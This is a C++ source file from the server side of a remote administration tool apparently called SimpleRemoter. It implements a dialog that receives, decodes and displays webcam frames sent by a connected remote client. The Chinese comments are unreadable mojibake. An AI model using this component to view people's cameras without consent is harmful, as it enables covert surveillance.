SimpleRemoter/server/2015Remote/VideoDlg.cpp

// VideoDlg.cpp : ʵ<><CAB5><EFBFBD>ļ<EFBFBD>
//

#include "stdafx.h"
#include "2015Remote.h"
#include "VideoDlg.h"
#include "afxdialogex.h"


enum
{
	IDM_SAVEAVI,					// <20><><EFBFBD><EFBFBD>¼<EFBFBD><C2BC>
};
// CVideoDlg <20>Ի<EFBFBD><D4BB><EFBFBD>

IMPLEMENT_DYNAMIC(CVideoDlg, CDialog)

CVideoDlg::CVideoDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject)
	: CDialog(CVideoDlg::IDD, pParent)
{
	m_ContextObject = ContextObject;
	m_iocpServer = IOCPServer;
	m_BitmapInfor_Full = NULL;
	m_pVideoCodec      = NULL;     //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>dz<EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD>    <20>ҿ<EFBFBD>
	sockaddr_in  ClientAddress;
	memset(&ClientAddress, 0, sizeof(ClientAddress));
	int iClientAddressLength = sizeof(ClientAddress);
	BOOL bResult = getpeername(m_ContextObject->sClientSocket, (SOCKADDR*)&ClientAddress, &iClientAddressLength);
	m_strIPAddress = bResult != INVALID_SOCKET ? inet_ntoa(ClientAddress.sin_addr) : "";

	m_BitmapData_Full = NULL;
	m_BitmapCompressedData_Full = NULL;
	ResetScreen();
}


void CVideoDlg::ResetScreen(void)
{
	if (m_BitmapInfor_Full)
	{
		delete m_BitmapInfor_Full;
		m_BitmapInfor_Full = NULL;
	}

	int	iBitMapInforSize = m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1;  
	m_BitmapInfor_Full	= (LPBITMAPINFO) new BYTE[iBitMapInforSize];
	memcpy(m_BitmapInfor_Full, m_ContextObject->InDeCompressedBuffer.GetBuffer(1), iBitMapInforSize); 

	m_BitmapData_Full	= new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage];
	m_BitmapCompressedData_Full	= new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage];
}

CVideoDlg::~CVideoDlg()
{
	if (m_pVideoCodec)
	{
		delete m_pVideoCodec;
		m_pVideoCodec = NULL;
	}

	if (m_BitmapData_Full)
	{
		delete m_BitmapData_Full;
		m_BitmapData_Full = NULL;
	}

	if (m_BitmapInfor_Full)
	{
		delete m_BitmapInfor_Full;
		m_BitmapInfor_Full = NULL;
	}

	if (m_BitmapCompressedData_Full)
	{
		delete m_BitmapCompressedData_Full;
		m_BitmapCompressedData_Full = NULL;
	}
}

void CVideoDlg::DoDataExchange(CDataExchange* pDX)
{
	CDialog::DoDataExchange(pDX);
}


BEGIN_MESSAGE_MAP(CVideoDlg, CDialog)
	ON_WM_CLOSE()
	ON_WM_SYSCOMMAND()
	ON_WM_PAINT()
END_MESSAGE_MAP()


// CVideoDlg <20><>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>


BOOL CVideoDlg::OnInitDialog()
{
	CDialog::OnInitDialog();

	CMenu* SysMenu = GetSystemMenu(FALSE);
	if (SysMenu != NULL)
	{
		m_hDD = DrawDibOpen();

		m_hDC = ::GetDC(m_hWnd);

		SysMenu->AppendMenu(MF_STRING, IDM_SAVEAVI, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><EFBFBD>(&V)");

		CString strString;

		strString.Format("%s - <20><>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD> %d<><64>%d", m_strIPAddress, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight);

		SetWindowText(strString);

		BYTE bToken = COMMAND_NEXT;

		m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
	}

	return TRUE;  // return TRUE unless you set the focus to a control
	// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
}

void CVideoDlg::OnClose()
{
	m_ContextObject->v1 = 0;
	CancelIo((HANDLE)m_ContextObject->sClientSocket);
	closesocket(m_ContextObject->sClientSocket);

	CDialog::OnClose();
	delete this;
}

void CVideoDlg::OnReceiveComplete(void)
{
	switch (m_ContextObject->InDeCompressedBuffer.GetBuffer(0)[0])
	{
	case TOKEN_WEBCAM_DIB:
		{
			DrawDIB();//<2F><><EFBFBD><EFBFBD><EFBFBD>ǻ<EFBFBD>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ת<EFBFBD><D7AA><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4>뿴һ<EBBFB4><D2BB>
			break;
		}
	default:
		// <20><><EFBFBD>䷢<EFBFBD><E4B7A2><EFBFBD>쳣<EFBFBD><ECB3A3><EFBFBD><EFBFBD>
		break;
	}
}

void CVideoDlg::DrawDIB(void)
{
	CMenu* SysMenu = GetSystemMenu(FALSE);
	if (SysMenu == NULL)
		return;

	int		nHeadLen = 1 + 1 + 4;       

	LPBYTE	szBuffer = m_ContextObject->InDeCompressedBuffer.GetBuffer();
	UINT	ulBufferLen = m_ContextObject->InDeCompressedBuffer.GetBufferLength();
	if (szBuffer[1] == 0) // û<>о<EFBFBD><D0BE><EFBFBD>H263ѹ<33><D1B9><EFBFBD><EFBFBD>ԭʼ<D4AD><CABC><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>
	{
		// <20><>һ<EFBFBD>Σ<EFBFBD>û<EFBFBD><C3BB>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˲<EFBFBD>֧<EFBFBD><D6A7>ָ<EFBFBD><D6B8><EFBFBD>Ľ<EFBFBD><C4BD><EFBFBD><EFBFBD><EFBFBD>
		/*	if (m_nCount == 1)
		{
		pSysMenu->EnableMenuItem(IDM_ENABLECOMPRESS, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED);
		}
		pSysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, MF_UNCHECKED);
		memcpy(m_lpScreenDIB, lpBuffer + nHeadLen, nBufferLen - nHeadLen);*/
	}

	else // <20><><EFBFBD><EFBFBD>
	{
		////<2F><><EFBFBD>ﻺ<EFBFBD><EFBBBA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĵĵڶ<C4B5><DAB6><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD> 
		InitCodec(*(LPDWORD)(szBuffer + 2)); //<2F>ж<EFBFBD>       
		if (m_pVideoCodec != NULL)
		{
			//pSysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, MF_CHECKED);
			memcpy(m_BitmapCompressedData_Full, szBuffer + nHeadLen, ulBufferLen - nHeadLen);   //<2F><>Ƶû<C6B5>н<EFBFBD>ѹ
			//<2F><><EFBFBD>￪ʼ<EFBFAA><CABC><EFBFBD>룬<EFBFBD><EBA3AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͬδѹ<CEB4><D1B9><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD> <20><>ʾ<EFBFBD><CABE><EFBFBD>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD>ϡ<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>avi<76><69>ʽ
			m_pVideoCodec->DecodeVideoData(m_BitmapCompressedData_Full, ulBufferLen - nHeadLen, 
				(LPBYTE)m_BitmapData_Full, NULL,  NULL);  //<2F><><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD>ݽ<EFBFBD>ѹ<EFBFBD><D1B9>m_lpScreenDIB

			/*	m_pVideoCodec->DecodeVideoData(m_lpCompressDIB, nBufferLen - nHeadLen, 
			(LPBYTE)m_lpScreenDIB, NULL,  NULL);  //<2F><><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5><EFBFBD>ݽ<EFBFBD>ѹ<EFBFBD><D1B9>m_lpScreenDIB*/
		}
	}

	PostMessage(WM_PAINT);
}


void CVideoDlg::InitCodec(DWORD fccHandler)
{
	if (m_pVideoCodec != NULL)
		return;

	m_pVideoCodec = new CVideoCodec;
	if (!m_pVideoCodec->InitCompressor(m_BitmapInfor_Full, fccHandler))     //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˸<EFBFBD>ʽ ƥ<><C6A5><EFBFBD><EFBFBD>
	{
		OutputDebugStringA("======> InitCompressor failed \n");
	}
}


void CVideoDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
	// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC>ֵ
	switch (nID)
	{
	case IDM_SAVEAVI:
		{
			break;
		}
	}

	CDialog::OnSysCommand(nID, lParam);
}


void CVideoDlg::OnPaint()
{
	CPaintDC dc(this); // device context for painting

	if (m_BitmapData_Full==NULL)
	{
		return;
	}
	RECT rect;
	GetClientRect(&rect);

	DrawDibDraw
		(
		m_hDD, 
		m_hDC,
		0, 0,
		rect.right, rect.bottom,
		(LPBITMAPINFOHEADER)m_BitmapInfor_Full,
		m_BitmapData_Full,
		0, 0,
		m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight, 
		DDF_SAME_HDC
		);
}